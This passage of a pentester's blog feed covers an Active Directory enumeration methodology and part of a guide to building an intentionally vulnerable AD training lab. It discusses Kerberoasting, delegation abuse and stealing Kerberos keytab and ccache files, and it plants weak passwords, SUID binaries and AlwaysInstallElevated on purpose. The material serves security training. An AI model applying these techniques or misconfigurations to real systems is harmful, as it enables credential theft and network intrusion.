Delegation</strong></p><p>Since it is a complex topic, we will talk it in details in next article.</p><p>Thanks for reading! If any update or correction is required, I will directly edit it. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=783eef0fc53a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Domain Enumeration Methodology]]></title>
            <link>https://gustavshen.medium.com/domain-enumeration-methodology-2408567e2ca?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2408567e2ca</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Thu, 28 Jul 2022 22:12:58 GMT</pubDate>
            <atom:updated>2022-07-28T22:12:58.213Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey folks, today I start a new series of articles to discuss Active Directory Exploitation. This is the first article, we focus on domain enumeration. We assume you have already had an initial shell on a domain computer, no matter it is Windows domain computer or Linux domain computer, because we will discuss both of them : D</p><p>Be aware that it is not an article which focuses on the detailed usage of tool and command, we focus on methodology.</p><h3>Enumeration on Windows</h3><p>After exploiting the public-facing service, we could get an shell as a local service account, at this moment, we are not under a domain context. It is helpful to find a way to escalate privilege. Finally, we get <strong>SYSTEM</strong> privilege, it means we are under the domain computer account’s context, so we can start to enuemrate the domain. Here is a checklist for myself as I initially get access to domain context.</p><h3>0: One-Click Vulnerabilities</h3><p>In recent years, there are few zero-day vulnerabilities which can help us compromise the whole domain immediately. Though they could have been fixed in the environment, but it does not hurt to have a try!</p><ul><li><strong>CVE-2021–42278:</strong> No PAC Vulnerability</li><li><strong>CVE-2022–26809: </strong>RPC RCE</li><li><strong>CVE-2022–26923:</strong> ADCS Vulnerability</li><li><strong>CVE-2020–1472:</strong> Zerologin Vulnerability</li><li><strong>MS14–068:</strong> Kerberos Vulnerability</li></ul><h3>1: Domain User</h3><ul><li><strong>User Description</strong>: Though at many time, the description may be blank, but if it is not blank, user description may reveal the role of the domain user. Such as server admin, developer, etc.</li><li><strong>Kerberos Pre-Authentication</strong>: If some domain users do not have pre-auth enabled, we can ASREPRoast them and get krb5asrep hashes. If we are lucky, we have a chance to crack those hashes offline and get plaintext credential.</li><li><strong>SPN</strong>: If a domain user has SPN, it is a service account. We can Kerberoast them and get krb5tgs hashes. If we are lucky, we have a chance to crack those hashes offline and get plaintext credential.</li><li><strong>Group Membership</strong>: Each domain user at least belongs to “Domain User” group, but if any domain user belongs to more than this group, we must check which groups they belong to.</li></ul><h3>2: Domain Group</h3><ul><li><strong>Group Description</strong>: Just as User Description.</li><li><strong>Group Type</strong>: If a group is custom one, we need to pay more attention to it, what rights does the group have?</li></ul><h3>3: Foreign Members</h3><p>If a foreign member is compromised, we have a chance to pivot to the other domain/forest.</p><h3>4: Domain Computer</h3><p>Take note of all domain computers’ <strong>FQDN</strong> and <strong>IP addresses</strong>.</p><ul><li><strong>Windows Computer</strong></li><li><strong>Linux Computer</strong>: Typically linux domain computers allow <strong>SSH</strong> access for domain users by default.</li></ul><h3>5: Existing Sessions and Processes</h3><ul><li>Processes owned by other domain users</li><li>Available Token</li></ul><p>After getting SYSTEM privilege, we can impersonate any logged domain users. If impersonated user has specific rights, we could move to other machines even domains.</p><h3>6: Owned Users’ Permission</h3><ul><li><strong>RDP </strong>Access to Other Computers:</li><li><strong>Local Admin </strong>Privilege to Other Computers:</li><li><strong>WinRM</strong> Access to Other Computers:</li><li><strong>DACL</strong>: Such as ForceChangePassword, GenericWrite, etc.</li></ul><h3>7: Service Access</h3><ul><li><strong>SMB</strong>: If compromised users have access to <strong>C$/ADMIN$ </strong>on other domain computer(s), it means the user has local admin privilege over the computer. Apart from C$/ADMIN$, also pay attention to any readable/writable custom shares, such as “dev”, which could store source code of an app.</li><li><strong>FTP</strong>: If we have access, check any juicy file inside it.</li><li><strong>Web</strong>: If we can exploit an internal web app, we could move to the other machine.</li><li><strong>SQL</strong>: Abuse xp_cmdshell and SQL Link to execute command on other machines.</li></ul><h3>8: GPO</h3><p>By enumerating GPO, we can take a look at current domain’s special settings for specific OUs. We may not know detailed settings for a GPO, but we can infer them according to GPO name or description. GPO may also be helpful for us to move to other machines. For example, a GPO can grant some users <strong>RDP</strong> or <strong>WinRM</strong> access to specific machines.</p><h3>9: Delegation</h3><p>Typically, delegation is helpful for us to get command execution on other host(s). But we also need to be aware that some users and computers are disallowed to be delegated, such as domain admin, because they have high privilege.</p><ul><li><strong>Unconstrained Delegation</strong>: It is the most powerful for us, we could compromise multiple users and computers.</li><li><strong>Constrained Delegation</strong>: We could be able to move to the computer by abusing S4U.</li><li><strong>Resource Based Constrained Delegation</strong>: If compromised computers or users have GenericWrite permission over a computer, we could finally move to the computer by abusing S4U.</li></ul><h3>10: ADCS</h3><ul><li>Vulnerable template</li><li><strong>CVE-2022–26923</strong></li></ul><h3>11: Trust</h3><p>Domain Trust will be very helpful to us especially when we compromised domain admin</p><ul><li><strong>Within Forest</strong>: The trust is always bi-directional, we can abuse golden ticket or trust key</li><li>Between Forest</li><li><strong>Bi-directional</strong>: Abuse trust key or golden ticket, but be aware of SID filter.</li><li><strong>Inbound</strong>: Check if any domain user is a foreign member in target domain</li><li><strong>Outbound</strong>: Can be abused via SQL Link, logged foreign member, etc.</li></ul><h3>Enumeration on Linux</h3><p>Sometimes, the public facing server is Linux OS, such as a web server. After exploiting the web app, we successfully get access to the Linux server as a normal user or privileged user.</p><h3>As A Normal User</h3><p>Since we are logged as a normal user, we cannot get access to all files. But sometimes, some files’ permission could be misconfigured, as a result, a normal user can access them. Otherwise, we’d better find a way to escalate ourself to root.</p><h3>As A Privileged User</h3><p>As a privileged user, where we are going to gather domain information?</p><ul><li><strong>1: ccache file</strong></li></ul><p>ccache files hold the Kerberos credentials for a user authenticated to a linux domain computer. If there is any active domain user session, we can see ccache files in <strong>/tmp</strong>, the file is in the form of <strong>krb5cc_xxxxx</strong>. We can pass ccache file directly on Linux machine, or use impacket to convert it to .kirbi form and pass it to current session on a Windows machine.</p><ul><li><strong>2: keytab file</strong></li></ul><p>keytab file contains mappings between Kerberos Principal names and DES-encrypted keys that are derived from the password used to log into the Kerberos Key Distribution Center (KDC). We can use a script (<a href="https://github.com/sosdave/KeyTabExtract">https://github.com/sosdave/KeyTabExtract</a>)to retrieve credentials from it. Each linux domain computer has its keytab file at /etc/krb5.keytab, it is accessible for root by default.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2408567e2ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How did I design and build a complex AD set]]></title>
            <link>https://gustavshen.medium.com/how-did-i-design-and-build-a-complex-ad-set-451029702c5?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/451029702c5</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Sun, 26 Jun 2022 17:26:38 GMT</pubDate>
            <atom:updated>2022-06-28T01:24:50.876Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Folks, today I would like to share how did I design and build a vulnerable AD set. Before moving to this topic, let me introduce the motivation and some features of this AD set.</p><h3>MOTIVATION</h3><p>I know there are few scripts can automate the process of generating common AD misconfigurations such as DACL abuse, weak credential, kerberoasting, etc. If you are interested in them, here are the github repo: <a href="https://github.com/WaterExecution/vulnerable-AD-plus">https://github.com/WaterExecution/vulnerable-AD-plus</a> and <a href="https://github.com/Orange-Cyberdefense/GOAD">https://github.com/Orange-Cyberdefense/GOAD</a>. These authors already did a great job, they make the process simple and fast. However, some other common elements in AD exploitation cannot be produced easily only with script, so some manual configuration and setup is also very important. Besides, I do not want my vulnerable AD set to be a purely AD exploitation. I hope it is more complex, difficult, and realistic.</p><h3>FEATURES</h3><p>1: It is not CTF style, no side quest. All flags are on Linux home folder or Windows Desktop. Its style is similar to many famous AD labs like CPTX, Cybernetics, CRTP, etc.</p><p>2: The AD consists of 6 machines, including 2 Linux domain joint machines. Many people are already familiar with AD exploitation in Windows environment, but how about Linux domain joint machines? You even need to exploit the AD from your Kali VM.</p><p>3: Multiple services and apps make the vulnerable AD more fun and complex, such as FTP, SMTP, POP3, IMAP, Samba, ElasticSearch, WordPress, Kibana, etc.</p><p>4: Few rabbit holes, but not just for misleading you. They are reasonable. Get RCE from a web app? But it will not help too much. A lot of privilege escalation vectors? But they are not necessary.</p><p>5: Basic OSINT and inference according to context.</p><p>6: Hardened machines. They implemented latest Windows Defender, AppLocker, etc. But I don’t think they will be the biggest issue, enumeration does matter.</p><p>7: Classic elements in AD: SQL Linked Server, Kerberos Delegation, Kerberoasting/ASREPRoasting, Credential Reuse</p><p>8: Some barriers during typical exploitation. Copy and paste steps in an AD exploitation cheat sheet? They will not work, you need to understand why your exploitation failed.</p><h3>PREPARATION</h3><p>During the design, I downloaded multiple apps/tools, and referred many articles. But before building the AD set, only 2 things are required.</p><p>Windows Server 2019: <a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019">https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019</a></p><p>Windows 10: <a href="https://www.microsoft.com/en-us/software-download/windows10%20">https://www.microsoft.com/en-us/software-download/windows10%20</a> (You can also use Windows Server 2019 instead)</p><p>Ubuntu 22.04: <a href="https://ubuntu.com/download/desktop">https://ubuntu.com/download/desktop</a></p><p>I used VMWare workstation to host these VMs, and I used Bridged Network. I tested NAT network, it also works well! After creating a Windows Server 2019 VM, do not forget to uncheck <strong>Connect at Power Up</strong> (in screenshot), in section <strong>floppy disk</strong>, otherwise you cannot install the OS successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/0*215MnEsmdtKvEnYT.png" /></figure><p>How to assign hardware resource to these VM? I list them on the following table. In my opinion, they are all above the required resources, I feel each VM runs smoothly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/0*iwbA9Qh87tg4pIKh.png" /></figure><p>Forget to mention that, I used a Windows 10 pro as the client server in domain. I cannot remember clearly where did I download the image. If it is not convenient for you to download a Windows 10 pro image, you can absolutely use Windows Server 2019 instead, it does not matter. After installing all VM, we can start to configure the OS.</p><h3>CONFIGURATIONS AND DESIGN</h3><p>Just clarify, this part is not a detailed guidance for building an AD environment. Instead, this part focuses more on the design. Of course, I will absolutely go through some technique difficulties and how did I resolved them.</p><p>Let’s take a look at all machines and their roles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/0*l4mXBUpDCVorP7Eh.png" /></figure><p>Web01 simulates a public-facing server in the domain, external user has access to its services. It hosts multiple services, including web apps, SMB, SMTP, POP3, etc.</p><p>File01 simulates an internal file server in the domain, because it is running a FTP server. Domain user can exchange file on this host.</p><p>Client01 simulates a client computer in the domain. Domain user Helen Park is the owner of it. Helen is a member of Help Desk group, so she has some permissions.</p><p>SRV01 simulates a normal server in the domain, it has an SQL instance. It is also linked to an SQL instance on SRV02</p><p>SRV02 simulates another server in the domain, it not only has an SQL instance, but also is able to delegate other domain users, except those protected high-privileged ones.</p><h3>DOMAIN CONTROLLER</h3><p><strong>dc.blackops.local</strong></p><p>First, we need to configure the domain controller. There are already many articles about it, so I recommend you to check this article: <a href="https://kamran-bilgrami.medium.com/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f">https://kamran-bilgrami.medium.com/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f</a>. You can jump to <strong>[Configuring Services]</strong> and continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*klz0MZhBbrtzEQ2b.png" /></figure><p>If you just want to replicate my AD set, you can stop at [Configuring Certificate Services] since I did not adopt ADCS this time. If you are interested in this part, you can absolutely continue to read. And I plan to add ADCS feature to my next AD set.</p><p>Personally I set the domain as <strong>blackops.local</strong>, the NETBIOS name is <strong>BLACKOPS</strong>, and IP for domain controller is <strong>192.168.0.56</strong>. Then open Active Directory Users and Computers application, let’s make some changes.</p><p>First, let’s create some domain users. Of course, you can create more domain users to increase the enumeration difficulty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/0*A-aqYflhL2T3Gu74.png" /></figure><p>As you notice, there are some accounts with weak password. I set those weak passwords on purpose. <strong>ir_operator</strong> and <strong>df_operator</strong> share the same password to make room for credential use. In exploitation chain, ir_operator can be set a SPN, then ir_operator can be kerberoasted, this is the reason why I set a weak password for both of them. As to svc_sq1 account, you may find that this is a honeypot account, because it is sq1 not sql : D You can easily kerberoasting svc_sq1 and crack the password, but it will not help at all. In reality, your attack will be logged then blue team will notice it. Anyway, since there are few weak passwords, we must eliminate dictionary attack and brute-force attack, so we need to implement account lockout policy. This article tells you how to achieve this: <a href="https://www.windows-active-directory.com/account-lockout-policy-active-directory.html#:~:text=Double%2Dclick%20the%20domain%20to,Policies%20%E2%86%92%20Account%20Lockout%20Policy">https://www.windows-active-directory.com/account-lockout-policy-active-directory.html#:~:text=Double%2Dclick%20the%20domain%20to,Policies%20%E2%86%92%20Account%20Lockout%20Policy</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*dCAnmAoVGCtNV9Wg.png" /></figure><p>Apart from few passwords, I specified few passwords such as russell.adler’s, these passwords cannot be cracked with a normal dictionary, but they will be used later in design steps, you can change them but just change them in following steps as well.</p><p>By the way, I set Administrator as a protected user, which cannot be delegated. It not only makes the environment more realistic but also increases the difficulty when abusing delegation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/0*udkXuV6BNf8doEGL.png" /></figure><p>I added an OU called Service Accounts, and I moved svc_sql and svc_sq1 to this OU. Since they are designed as service accounts, we need to set SPN for them. svc_sq1 is a honeypot account, so it is easy to set, as long as the SPN is in correct format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/0*mBEQup6j8je6DQBT.png" /></figure><p>After that, we can choose to set SPN for svc_sql, which is designed as service account for SQL Server instances in domain. It is not required to set it now, but it does not hurt. Why? Because we can use a tool to automate this process later without getting any error. If you follow my SPN settings, please make sure your SQL Server instance are named DB01 and DB02 respectively. Later I will show how to configure SQL Server instances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/0*F8Ycwi30v7sUVIxn.png" /></figure><p>Then, I add helen.park to Helpdesk group. You can also create more groups, or add more users to groups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/0*IfHYcx0fxXxMR_3x.png" /></figure><p>helen.park should be able to <strong>RDP</strong> to <strong>client01</strong>, we need to add helen.park to a localgroup in client01, I will mention it later. jason.hudson has <strong>RDP</strong> and <strong>WinRM </strong>right to <strong>SRV01</strong>, so add him to two localgroups in SRV01. Therefore, we need to impersonate <strong>jason.hudson</strong> instead of Administrator when abusing delegation : ). Instead of adding these users to local group, we can also link a GPO to them to enforce. This video shows detailed steps to achieve this: <a href="https://www.youtube.com/watch?v=euFiRyjRt1E">https://www.youtube.com/watch?v=euFiRyjRt1E</a></p><p>And I also turn on <strong>automatic logon</strong> for domain administrator on DC, you can check this article: <a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon">https://docs.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon</a>.</p><p>Besides, it is up to you whether turn on/off windows defender firewall. It is on by default, but I turn off it. <strong>The setting is the same for every windows domain computers.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*Pv9Xb_LrPF2s9HQN.png" /></figure><p>Now, we completed basic settings on DC, but we will revisit DC after adding domain computers and configuration of SQL Server instances.</p><h3>LINUX DOMAIN COMPUTER 1</h3><p><strong>web01.blackops.local</strong></p><p>Since it is difficult to configure SRV01 and SRV02, so let’s start from easier ones.</p><p>First of all, we need to set DC’s ip as DNS. And add a new entity to /etc/resolve.conf. Be aware that after each reboot, we need to re-add the entity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/0*dqM8h4QoQnH1LTdM.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/0*UtCQnVGprZ-UH8eX.png" /></figure><p>By this way, we can look up domain computers and join domain later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/0*VycnS0OpthmtnQue.png" /></figure><p>Then we need to set up few Linux local accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/0*v9_BVnX2xdcQX296.png" /></figure><p>In regard to how to join a Linux computer to domain, this article gives detailed instruction: <a href="https://www.informaticar.net/join-ubuntu-machine-to-windows-domain/">https://www.informaticar.net/join-ubuntu-machine-to-windows-domain/</a>. You will not make any mistake as long as you follow steps. You can use <strong>klist </strong>to check tickets to verify that the Linux machine successfully joined domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/0*DKuqlM9UNnh1FFG1.png" /></figure><p>File <strong>/etc/krb5.keytab</strong> is readable for root by default, it contains machine account web01$’s credential. We can use python script keytabextract.py (<a href="https://github.com/sosdave/KeyTabExtract">https://github.com/sosdave/KeyTabExtract</a>) to extract them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*ODxHgwIBiwMaVLC0.png" /></figure><p>After gaining root, or even if we can read it as a normal user, we can use credential <strong>web01$: 5db7a1891649cef400f8cd6923bb4a69</strong> to authenticate to domain to have a domain context or enumerate domain information. One example is to use bloodhound-python to collect domain information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*-2N97SKCns5hWGPd.png" /></figure><p>Okay, we have successfully added web01 to domain, we can use the exact same steps to add file01 to domain. Now, we need to deploy vulnerable services/app, and rabbit holes lol. The following table reflect my design.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/0*RQKVj589V7BOGM0Q.png" /></figure><p>There are multiple apps/services to be installed and configured, you can check following links to follow steps.</p><p><strong>Port 22: SSH</strong></p><p>Add a line to <strong>/etc/ssh/sshd_configure</strong>:</p><p><strong>Denyusers mailadmin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/0*jtrZj8uM1IIYzG8H.png" /></figure><p>This step is to deny mailadmin’s SSH access, since mailadmin has a weak password. It should be like a service account.</p><p><strong>Port 25: Postfix SMTP</strong>: <a href="https://ubuntu.com/server/docs/mail-postfix">https://ubuntu.com/server/docs/mail-postfix</a></p><p>To make it simple, we can <strong>stop at</strong> SMTP Authentication section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*MRATCx8I07kP-JGt.png" /></figure><p>And then, we need to send an email via SMTP, check commands in the screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*NTozd0HBcwgmY-27.png" /></figure><p>So the email will be delivered to mailadmin’s inbox.</p><p><strong>Port 110 and 143: Dovecot (POP3+IMAP)</strong>: <a href="https://ubuntu.com/server/docs/mail-dovecot">https://ubuntu.com/server/docs/mail-dovecot</a></p><p>To make it simple, we can <strong>stop at</strong> Dovecot SSL Configuration section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*v7p39UF3bmSKcqeQ.png" /></figure><p>And we need to allow plaintext authentication to POP3 server, just append two lines to <strong>/etc/dovecot/dovecot.conf</strong>:</p><p><strong>disable_plaintext_auth=no</strong></p><p><strong>ssl=yes</strong></p><p>Then we can log in POP3 server, otherwise we cannot authenticate to POP3 server.</p><p><strong>Port 80: WordPress</strong>: <a href="https://ubuntu.com/tutorials/install-and-configure-wordpress#1-overview">https://ubuntu.com/tutorials/install-and-configure-wordpress#1-overview</a></p><p>It is simple, just follow steps in this link. After completing the installation, register 2 users: mason, hudson.</p><p>Log in as mason, and post an article like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/0*DjkDt6niFYCvSJFk.png" /></figure><p>Then log in as hudson, leave a comment. This is an indicator that mason manages mailadmin account, and this account has weak password: Password. After that, log in as mason or admin to approve hudson’s comment. Otherwise, hudson’s comment will not be displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/0*KyRD-t9nSQ3XLG1y.png" /></figure><p><strong>Port 445: Samba</strong></p><p>Create a new folder /var/backups/www/html, and copy /var/www/html/wordpress to the new folder, and create a new share to map to this folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/0*BXVlmavOmh2xMYf7.png" /></figure><p>Do not forget to assign proper ownership and permission, otherwise the attacker cannot upload or read a file, so he will not upload a shell and fall into the rabbit hole lol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/0*IGb9ftF1uJRzOs2N.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/0*Rz32ZKJ0lqhXSrZ8.png" /></figure><p><strong>Port 5601: Kibana 6.5</strong></p><p>Download link: <a href="https://www.elastic.co/cn/downloads/past-releases/kibana-6-5-0">https://www.elastic.co/cn/downloads/past-releases/kibana-6-5-0</a></p><p>Download <strong>deb 64-bit</strong>, and then use dpkg to install it, it is very simple.</p><p>But do not forget to edit /etc/kibana/kibana.yml to uncomment few lines and change server.hot to 0.0.0.0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/0*hm5TmRKnvmITAOUA.png" /></figure><p>This version of kibana is vulnerable to a RCE vulnerability, you can find the PoC here: <a href="https://github.com/mpgn/CVE-2019-7609">https://github.com/mpgn/CVE-2019-7609</a></p><p>Follow the steps, and you can get a shell as kibana. But unfortunately, there is no intended privilege escalation vector for user kibana, though I am not sure if all Nday vulnerabilities have been fixed. Therefore, it is a rabbit hole.</p><p><strong>Port 9200: Elasticsearch 6.6</strong></p><p>Download and install Elasticsearch 6.6 from <a href="https://www.elastic.co/cn/downloads/past-releases/elasticsearch-6-6-0">https://www.elastic.co/cn/downloads/past-releases/elasticsearch-6-6-0</a> like how we installed Kibana, but we do not need to customize it.</p><p>Now, we almost finished. The last step is to grant mason a privilege to execute find with sudo permission without password. So only user mason can escalate our self to root and read /etc/krb5.keytab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/0*i9TkFyfY-IfO7jmk.png" /></figure><p>After knowing that alex.mason is a domain user, we should be aware that linux local user mason could share the same password with domain user alex.mason, so we can use SSH to move to file01 as alex.mason@blackops.local.</p><h3>LINUX DOMAIN COMPUTER 2</h3><p><strong>file01.blackops.local</strong></p><p>This linux machine is easier to configure. First, we need to set DC’s IP as DNS, and join file01 to domain, just as we previously did. We only need to configure FTP and add one user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/0*q2gmav5lXkRM7tIY.png" /></figure><p>There is nothing too much to configure FTP. Use apt to install vsftpd. Then add helen as a linux local user. When we can use helen’s credential to authenticate to FTP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*sItIfGLTKpiS6Snt.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/0*pNKEauNhnGG0EkXe.png" /></figure><p>Many people only care about how to become root, and this is the reason why I make privilege escalation simple, I set multiple common binaries (cat, nc, find, etc.) SUID permission, and I also set tcpdump SUID. If check memo.txt, we can know that Helen keeps authenticating to FTP server. Since FTP does not have encryption, so we can use tcpdump to capture plaintext credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*0Lt-rS9mJc3wQMDn.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*_-RcHnAl0ee0HKhp.png" /></figure><p>We can clearly see that the credential is helen:Summer2022!. Since helen.park is a domain user in BLACKOPS.LOCAL, so credential reuse is possible, we should be aware of that. So we completed configurations of file01.</p><h3>CLIENT SERVER</h3><p><strong>client01.blackops.local</strong></p><p>Now we successfully configured all Linux domain computers. Let’s configure the client server client01.</p><p>The first step is still configuring DNS. But we also need to disable IPv6.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/0*e1R9iJYKYGyfEYWT.png" /></figure><p>And set DC as DNS server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/0*BXu-eJCHLcY61VKj.png" /></figure><p>We do not need to configure any app or services on client01, but some common settings on Windows hosts.</p><p><strong>AppLocker</strong></p><p>Run Local Group Policy Editor, enable DLL rules, and enforce all types of rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/0*o1TiMxiQELpoBYDe.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*yhWpa3CcTo0Ylr4E.png" /></figure><p>Enforcing default rules is okay, even though some paths can be abused to execute binary such as C:\windows\tasks. So it is not necessary to create a custom tradecraft or download bypass-clm (<a href="https://github.com/calebstewart/bypass-clm">https://github.com/calebstewart/bypass-clm</a> ) from github.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/0*4ulPxdHRhpM8HIwd.png" /></figure><p><strong>Windows Defender</strong></p><p>Just use the default settings.</p><p><strong>Firewall</strong></p><p>I turn off firewall on all windows machines. You could turn on it if you would like to increase a little more difficulty: D</p><p><strong>Autologin</strong></p><p>Set autologin for domain user helen.park.</p><p><strong>UAC</strong></p><p>I don’t think UAC bypass is needed in the whole exploitation process, so just leave it default.</p><p><strong>Remote Desktop</strong></p><p>Enable Remote Desktop setting, and add helen.park to localgroup Remote Desktop Users: <strong>net localgroup “Remote Desktop Users” helen.park /add</strong></p><p>But just as I previously said, we can also achieve this by linking and enforcing a GPO.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/0*2uOt99vtmfupw0M2.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/0*mGI1SaQ1yoZEx6yn.png" /></figure><p>Then we need to create a script to connect to file01’s FTP server as helen, and two txt file as well.</p><p>txt file 1: <strong>FTP Auth.txt</strong></p><p>open 192.168.0.52</p><p>USER helen</p><p>Summer2022!</p><p>bye</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/305/0*VQsP-bpqN5VT4QDO.png" /></figure><p>script: <strong>script.ps1</strong></p><p>Do {</p><p>ftp -v -n -s:’.\FTP Auth.txt’</p><p>start-sleep -s 3</p><p>}</p><p>while (1 -ne 2)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/235/0*2V-HZ2-knnLSPXAI.png" /></figure><p>Put these 2 files on helen’s document folder.</p><p>Create a <strong>scheduled task</strong> to invoke <strong>powershell.exe</strong> to run the script at logon, so we do not need to manually run it every time we boot client01.</p><p>Then create another txt file on helen’s desktop: Resolved Ticket.txt</p><p>After finishing editing, just delete it. I just want people not to forget to check Recycle Bin during enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/0*VYiAzzQo5b89zRcB.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/0*C0NX496XFmEMzmrv.png" /></figure><p>So we complete the configurations here. Let’s move to SRV01.</p><h3>SERVER 1</h3><p><strong>srv01.blackops.local</strong></p><p>So we move to the most difficult part of design and configurations. Fortunately, most steps are the same for both SRV01 and SRV02.</p><p>First, disable IPv6, then configure IP and DNS.</p><p>Configure autologin for <strong>jason.hudson</strong>.</p><p>Configure AppLocker just as we did on client01.</p><p>Add jason.hudson to local group “Remote Management Users” and “Remote Desktop Users”: <strong>net localgroup “Remote Management Users” jason.hudson /add &amp;&amp; net localgroup “Remote Desktop Users” jason.hudson /add</strong></p><p>By this way, jason.hudson has WinRM access to SRV01.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/0*BZ0p3Ne7foLzpMYw.png" /></figure><p>Beside, let’s configure a privilege escalation vector: <strong>AlwaysInstallElevated</strong>. First, we need to add reg key for HKLM: <strong>HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer</strong>, and HKCU: <strong>HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer.</strong> Then add a value for both of them: <strong>AlwaysInstallElevated</strong>, <strong>DWORD </strong>value <strong>1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/0*-B1MEONxAVNvspEc.png" /></figure><p>Besides, we also need to add this value for jason.hudson domain user, since HKCU seems to have no effect on domain users.</p><p>Unfold <strong>HKEY_USERS</strong>, find jason.hudson’s <strong>SID</strong>, and add this key-value as previous.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/0*Wfv0ibBgFEmwPjNR.png" /></figure><p>Besides, we need to configure Local Group Policy Editor: <strong>Computer Configuration &gt; Administrative Templates</strong> &gt; Windows Components &gt; Windows Installer, edit “<strong>Turn off Windows Installer</strong>”, change the setting as following screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/0*CvihcmdjBqmavUt4.png" /></figure><p>Otherwise the normal user cannot install a package.</p><p>Enable <strong>PPL</strong> for SRV01, just follow the steps in the link: <a href="https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection">https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection</a></p><p>Now let’s install and configure SQL Server 2019, it is the most difficult and complex part.</p><p>Download link: <a href="https://www.microsoft.com/en-us/sql-server/sql-server-downloads">https://www.microsoft.com/en-us/sql-server/sql-server-downloads</a> (Developer)</p><p>SSMS: <a 